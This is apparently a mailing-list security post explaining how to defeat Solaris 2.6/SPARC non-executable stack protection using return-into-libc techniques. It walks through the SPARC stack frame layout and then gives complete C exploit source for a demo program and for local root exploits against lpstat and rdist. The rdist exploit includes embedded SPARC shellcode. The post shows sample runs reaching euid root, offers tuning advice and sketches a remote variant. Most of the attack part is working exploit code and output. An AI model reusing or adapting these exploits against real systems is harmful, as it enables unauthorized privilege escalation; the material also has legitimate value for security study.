Defeating Solaris/SPARC Non-Executable Stack Protection

by Horizon

Defeating Solaris/SPARC Non-Executable Stack Protection

By Horizon

I've recently been playing around with bypassing the non-executable stack protection that Solaris 2.6 provides. I'm referring to the mechanism that you control with the noexec_user_stack option in /etc/system. I've found it's quite possible to bypass this protection, using methods described previously on this list. Specifically, I have had success in adapting the return into libc methods introduced by Solar Designer and Nergal to Solaris/SPARC.

I've included some sample code in this email, including an exploit for rdist, and an exploit for lpstat. These exploits should work on machines with the stack protection enabled, though they may require some groundwork before being used. Neither of these programs exploit a new bug, so the appropriate fixes for these holes should work fine.

First of all, I'd like to thank stranJer, Solar Designer, duke and the various inhabitants of #!adm for reviewing this for me and providing a lot of valuable input.

Ok.. it's important to have a general understanding of how the stack is layed out under SPARC/Solaris. There are several good references on the net for this information, so I will try to keep this brief..

The stack frame looks roughly like this (to the best of my knowledge):

Stack inside the body of a function (after save)
================================================

Higher addresses
----------------
%fp+92->any incoming args beyond 6 (possible)
%fp+68->room for us to store copies of the incoming arguments
%fp+64->pointer to where we can place our return value if necessary
%fp+32->saved %i0-%i7
%fp---->saved %l0-%l7
%fp---->(previous top of stack)
*space for automatic variables*
possible room for temporaries and padding for 8 byte alignment
%sp+92->possible room for outgoing parameters past 6
%sp+68->room for next function to store our outgoing arguments (6 words)
%sp+64->pointer to room for the return value of the next function
%sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
%sp---->room for next non-leaf function to save %l0-%l7
%sp---->(top of stack)
---------------
Lower addresses

Next, there is a one word pointer to memory where a function we call can place it's return value. Typically, we can expect the return value to be in %o0, but it is possible for a function to return something that can't fit in a register (such as a structure). In this case, we place the address of the memory where we want the return value to be placed into this location before calling the function. The return value is placed in that memory, and the address of that memory is also returned in %o0.

Next, we have 6 words reserved for the next function to be able to store the arguments we pass to it through the registers. Some of the sites on the web indicate that this is necessary in case the called function needs to be able to take the address of one of it's incoming parameters (you can't take the address of a register).

Next on the stack, there is temporary storage and padding for alignment. The stack pointer has to be aligned on an 8 byte boundary. Our automatic variables are saved on the stack next. From within this function, we can address the automatic variables relative to %fp (%fp - something).

If we perform an overflow of an automatic variable, we are going to overwrite the saved %i and %l values of the function that called the function with the automatic variable. When the function with the automatic variable returns, it will return into the caller, because it has the return address stored in it's %i7 register. Then, the restore instruction will move the contents of the %i registers into the %o registers. Our bogus values for %l and %i will then be read from the stack into the registers. On the next return from a function, the program will return into the address we put at %i7's place on the stack frame. This explains why you need two returns to perform a classic buffer overflow.

Moving on.. In this email, I'm presenting three different variations on the return into libc method. The first one I demonstrate with a 'fake' bug. This is our vulnerable program:

---hole.c---
int jim(char *str)
{
   char buf[256];
   strcpy(buf,str);
}

int main(int argc, char **argv)
{
jim(argv[1]);
}
------------

If we wrote a typical program to exploit this, it would follow this flow:

1. The program would proceed to the strcpy..
2. The strcpy will overwrite the saved %i and %l registers in main's stack frame.
3. The jim function will do a restore, and increment the CWP. This will result in our overflowed values being put into the %i and %l registers. It will 'ret' into main.
4. The main function will then do a ret/restore. The ret instruction will read our provided %i7, and transfer the flow of control to it. The CWP will again be incremented, And our bogus %i registers will become the %o registers.

A typical exploit would return into shellcode on the stack at this point, which would do it's thing with basically no regard for what is in the registers. However, with the stack protections in place, this behavior will cause the processor to fault upon attempting to execute code on a page where it is not permitted.

To get around this, we wish to have our program return into a libc call. For this exploit, I've chosen system(). system() is easy because it only takes one argument. When we enter the code for system(), we expect it's arguments to be in %o0-%o7. Then, the system function will do the save instruction, and move the arguments into the %i0-%i7 registers. Getting our arguments into system() in the %o0-%o7 registers is somewhat easy to accomplish. Remember that the first ret/restore will pull our values off of the stack into the %l and %i registers. Thus, we can put any values we want into these registers when we overflow the stack based variable. The second ret/restore will move whats in the %i0-%i7 registers into the %o0-%o7 registers, and jump to what we had in the %i7 register. So, we can put the address of system() in our saved %i7, and the program's execution will resume there. So, when the program enters system(), the first instruction it will execute is a 'save'. This will move the values in %o0-%o7 back into %i0-%i7. Let's look at the exploit:

---exhole.c---
/*
   example return into libc exploit for fake vulnerability in './hole'
   by horizon 

to compile:
gcc exhole.c -o exhole -lc -ldl
*/
#include 
#include 
#include 
#include 
int step;
jmp_buf env;
void fault()
{
if (step<0)
longjmp(env,1);
else
{
printf("Couldn't find /bin/sh at a good place in libc.\n");
exit(1);
}
}
int main(int argc, char **argv)
{
void *handle;
long systemaddr;
long shell;
char examp[512];
char *args[3];
char *envs[1];
long *lp;
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((systemaddr=(long)dlsym(handle,"system"))==NULL)
{
fprintf(stderr,"Can't find system().\n");
exit(1);
}
systemaddr-=8;
if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) ||
!(systemaddr & 0xff0000) || !(systemaddr & 0xff000000))
{
fprintf(stderr,"the address of system() contains a '0'. sorry.\n");
exit(1);
}
printf("System found at %lx\n",systemaddr);
/* let's search for /bin/sh in libc - from SD's original linux exploits */
if (setjmp(env))
step=1;
else
step=-1;
shell=systemaddr;
signal(SIGSEGV,fault);
do
while (memcmp((void *)shell, "/bin/sh", 8)) shell+=step;
while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
|| !(shell & 0xff000000));
printf("/bin/sh found at %lx\n",shell);
/* our buffer */
memset(examp,'A',256);
lp=(long *)&(examp[256]);
/* junk */
*lp++=0xdeadbe01;
*lp++=0xdeadbe02;
*lp++=0xdeadbe03;
*lp++=0xdeadbe04;
/* the saved %l registers */
*lp++=0xdeadbe10;
*lp++=0xdeadbe11;
*lp++=0xdeadbe12;
*lp++=0xdeadbe13;
*lp++=0xdeadbe14;
*lp++=0xdeadbe15;
*lp++=0xdeadbe16;
*lp++=0xdeadbe17;
/* the saved %i registers */
*lp++=shell;
*lp++=0xdeadbe11;
*lp++=0xdeadbe12;
*lp++=0xdeadbe13;
*lp++=0xdeadbe14;
*lp++=0xdeadbe15;
*lp++=0xeffffbc8;
/* the address of system ( -8 )*/
*lp++=systemaddr;
*lp++=0x0;
args[0]="hole";
args[1]=examp;
args[2]=NULL;
envs[0]=NULL;
execve("./hole",args,envs);
}
--------------

In this exploit, %i0 is set to the address of the string '/bin/sh' in libc. %i6 (the frame pointer) is set to 0xeffffbc8. This is just a place in the stack that system() can use as it's stack. system() will look into the registers for it's arguments, so we don't really care what is on the stack, as long as system() can safely write to it. %i7 (our return address) is set to the address we found for system(). Note that this is actually the address we wish to go to minus 8, because the ret instruction will add 8 to the saved %fp. (in order to skip the call instruction and it's delay slot).

So, does it work?

bash-2.02$ gcc exhole.c -o exhole -lc -ldl
bash-2.02$ ./exhole
System found at ef768a84
/bin/sh found at ef790378
$

yup. :>

As you might expect, things don't go quite so smoothly when we attempt this technique in a live exploit. I have chosen lpstat as my next target.

The first problem you will run into is that the program will modify the %i registers after the first return. This happened in both the lpstat and rdist exploits. This problem requires us to extend our technique to be more powerful.

What I do in the lpstat exploit is create a fake stack frame in the env space. Then, I put it's address in our saved %fp. Then, instead of returning into the system() function, I return into system()+4, bypassing the save instruction.

So, what does all this do? Well, our values get loaded into the %l0-l7 and %i0-%i7 registers after the first ret/restore. The next ret/restore moves our values into %o0-%o7, and jumps to our saved %i7. This *also* loads in the %i0-%i7 and %l0-%l7 registers from the stack. So, when we specify a saved %fp, and we hit the second restore, the processor assumes our %fp was it's old %sp, and loads the %l and %i registers from the stack frame at %fp. This means that we can specify what we want the %l and %i registers to contain upon entering wherever it is that we return into.

We skip the 'save' instruction, because that would move the %o0-%o7 back to the %i0-%i7 registers, and overwrite our malicious values.

Having solved that, we stumble onto our second problem: the system() function uses /bin/sh -c to execute it's argument. Under Solaris, /bin/sh will drop it's privileges if it is run with a non-zero ruid, and an euid of zero. The obvious solution to this is to try to do a setuid(0) before we run system.

So, we need to find a way to chain functions together.. i.e. to return into one function, and have it return into another. It is important to note that there are two kinds of functions: leaf and non-leaf functions. The leaf functions do not use any stack space to do their work, and do not call any other functions. Thus, they don't need to use the 'save' instruction to set up a stack frame. They operate using the registers in %o0-%o7 as their arguments. When a leaf function is done, it returns by jumping to the address it has in %o7. The non-leaf functions are ones that require a stack frame, and they use the 'save', 'ret', and 'restore' instructions.

We can chain non-leaf functions together by making a fake stack frame for every function that we need to return into, and placing the address of the next function into the %i7 position on the fake stack frame. This works because we skip the save instruction, which allows us to keep feeding in fake stack frame information, and specfying the %i and %l registers for each function we enter.

However, there is a limitation of our return into libc method: We can't return into a leaf function, unless it is the last function we return into. A leaf function does not do a save or restore, it simply assumes it's arguments are in the %o0-%o7 registers. It returns by doing a retl, which jumps to %o7. The problem is that if we return into a leaf function, the address of that leaf function will be in %o7. Thus, when the leaf function tries to return, it will jump back to itself, causing an infinite loop. We can't get a leaf function to return into another function because it doesn't use the ret/restore sequence to return. Thus, even though we can control what values are in the %i and %l registers, the leaf function will not use these values for arguments or the return address.

So, for a solution here, we simply return into execl(). This takes very similar arguments to system, except that we need to have a NULL argument to terminate the list of arguments. This is easy to do since we are passing in our fake stack frame through the env space.

Here is the lpstat exploit:

---lpstatex.c---
/*
   lpstat exploit for Solaris 2.6 - horizon - 

This demonstrates the return into libc technique for bypassing stack
execution protection. This requires some preliminary knowledge for use.
to compile:
gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
*/
#include 
#include 
#include 
#include 
#include 
#include 
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char *env[10];
char fakeframe[512];
char padding[64];
char platform[256];
void *handle;
long execl_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=31;
if (argc==2) pad+=atoi(argv[1]);
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
execl_addr-=4;
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("found execl() at %lx\n",execl_addr);
char_p=buf;
memset(char_p,'A',BUF_LENGTH);
long_p=(unsigned long *) (char_p+1024);
*long_p++=0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffb68; // our fake stack frame
*long_p++=execl_addr; // we return into execl() in libc
*long_p++=0;
/* now we set up our fake stack frame in env */
long_p=(long *)fakeframe;
*long_p++=0xdeadbeef; // we don't care about locals
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xefffffac; // points to our string to exec
*long_p++=0xefffffac; // argv[1] is a copy of argv[0]
*long_p++=0x0; // NULL for execl();
*long_p++=0xefffffcc;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18; // this just has to be somewhere it can work with
*long_p++=0x11111111; // doesn't matter b/c we exec
*long_p++=0x0;
/* This gives us some padding to play with */
memset(teststring,'A',BUF_LENGTH);
teststring[BUF_LENGTH]=0;
sysinfo(SI_PLATFORM,platform,256);
pad+=20-strlen(platform);
for (i=0;i
env[0]="";
env[1]=(fakeframe);
env[2]=&(fakeframe[40]);
env[3]=&(fakeframe[40]);
env[4]=&(fakeframe[40]);
env[5]=&(fakeframe[44]);
env[6]=teststring;
env[7]="A=/bin/id";
env[8]=padding;
env[9]=NULL;
execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
perror("execle failed");
}
----------------

Here's what it looks like:

bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
bash-2.02$ ./lpstatex
found execl() at ef6e93a4

UX:lpstat: ERROR: Class
...
(lpstat spews for a while)
...
¤" does not exist.

TO FIX: Use the "lpstat -c all" command to list
all known classes.

uid=120(jmcdonal) gid=15(develop) euid=0(root)
bash-2.02$

So, this works pretty well. However, we still have a big problem with our technique: it is impossible to return into a leaf function before returning into any other function. This unfortunately means we cant return into setuid() or seteuid() to restore our privileges before exec'ing something. There are a few options in overcoming this problem, but I have choosen a fairly simple one...

We will return into a strcpy, which will copy our shellcode from the env space, into somewhere where it is safe to run it. We will then have that strcpy return into our shellcode. This exploit is very similar to the previous one, with the exception that we are doing a second return.

Here is the exploit:

---rdistex.c---
/*
   rdist exploit for Solaris 2.6 - horizon - 

This demonstrates the return into libc technique for bypassing stack
execution protection. This requires some preliminary knowledge for use.
to compile:
gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/
#include 
#include 
#include 
#include 
#include 
#include 
u_char sparc_shellcode[] =
"\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\xAA";
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char tempbuf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char padding[128];
char *env[10];
char fakeframe[512];
char platform[256];
void *handle;
long strcpy_addr;
long dest_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=25;
if (argc==2) pad+=atoi(argv[1]);
char_p=buf;
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
{
fprintf(stderr,"Can't find strcpy().\n");
exit(1);
}
strcpy_addr-=4;
if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
!(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
{
fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
exit(1);
}
printf("found strcpy() at %lx\n",strcpy_addr);
if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
{
fprintf(stderr,"Can't find accept().\n");
exit(1);
}
dest_addr=dest_addr & 0xffff0000;
dest_addr+=0x1800c;
if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
!(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
{
fprintf(stderr,"the destination address contains a '0'. sorry.\n");
exit(1);
}
printf("found shellcode destination at %lx\n",dest_addr);
/* hi sygma! */
memset(char_p,'A',BUF_LENGTH);
long_p=(unsigned long *) (char_p+1024);
/* We don't care about the %l registers */
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=0xdeadbeef;
*long_p++=0xefffd378; // safe value for dereferencing
*long_p++=0xefffd378; // safe value for dereferencing
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffb78; // This is where our fake frame lives
*long_p++=strcpy_addr; // We return into strcpy
*long_p++=0;
long_p=(long *)fakeframe;
*long_p++=0xAAAAAAAA; // garbage
*long_p++=0xdeadbeef; // %l0
*long_p++=0xdeadbeef; // %l1
*long_p++=0xdeadbeaf; // %l2
*long_p++=0xdeadbeef; // %l3
*long_p++=0xdeadbeaf; // %l4
*long_p++=0xdeadbeef; // %l5
*long_p++=0xdeadbeaf; // %l6
*long_p++=0xdeadbeef; // %l7
*long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
*long_p++=0xeffffb18; // %i1 - our source
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
*long_p++=dest_addr-8; // %i7 - return into our shellcode
*long_p++=0;
sprintf(tempbuf,"blh=%s",buf);
/* This gives us some padding to play with */
memset(teststring,'B',BUF_LENGTH);
teststring[BUF_LENGTH]=0;
sysinfo(SI_PLATFORM,platform,256);
pad+=21-strlen(platform);
for (i=0;i
env[0]=sparc_shellcode;
env[1]=&(fakeframe[2]);
env[2]=teststring;
env[3]=padding;
env[4]=NULL;
execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
(char *)0,env);
perror("execl failed");
}
---------------

bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
bash-2.02$ ./rdistex
found strcpy() at ef62427c
found shellcode destination at ef7a800c
rdist: line 1: Pathname too long
...
rdist: line 1: Pathname too long
#

These exploits require a high degree of precision. I've tried to take out most of the guesswork, but there are two things that might cause the exploits to fail. The lpstat and rdist exploits expect certain things to be in the environment at exact locations. We use the execle function, specifying the entire environment, so you wouldn't think this would be a problem. However, Solaris 2.6 puts two things at the very top of the environment space: the name of the program that is being run, and the platform of the machine. I have attempted to take this into account in the two exploits, but have only been able to test on two different platforms. Thus, you might need to adjust the 'pad' variable if the exploits do not seem to be working. You can adjust this value via the command line. It's probably best to try increments of 4.

Also, there is a bit of a guess in the rdist exploit as to where to place the shellcode in libc. The exploit gets the address of a symbol in libsocket, then bitwise ands it with 0xffff0000 and then adds 0x1800c. The point of this is to guess at where the section for libsocket's data will be mapped. If this is a problem, then you can use /usr/proc/bin/pmap along with gdb to figure out a good address to store the shellcode in.

Hopefully, these exploits demonstrate that it is important to make sure that programs that run at an elevated privilege are free of buffer overflow bugs. The stack protection will certainly help protect you from the majority of intruders, but moderately competent intruders will probably be able to bypass it.

I believe that these techniques could be adopted for use in a remote exploit. Assuming we go with the strcpy technique, the attacker would need to do several things. First of all, the attacker would need to put the fake stack frame somewhere in the buffer that was overflowed. Then the attacker would have to make educated guesses at a few things. These would be: the location that strcpy() is mapped at, a safe location to store the shellcode, and the location of the fake stack frame. You could make pretty educated guesses at all of these, so it might only require a small number of tries. Of course, the added time and interaction that this would involve certainly makes the stack protection useful.

I welcome any comments or criticisms about this post.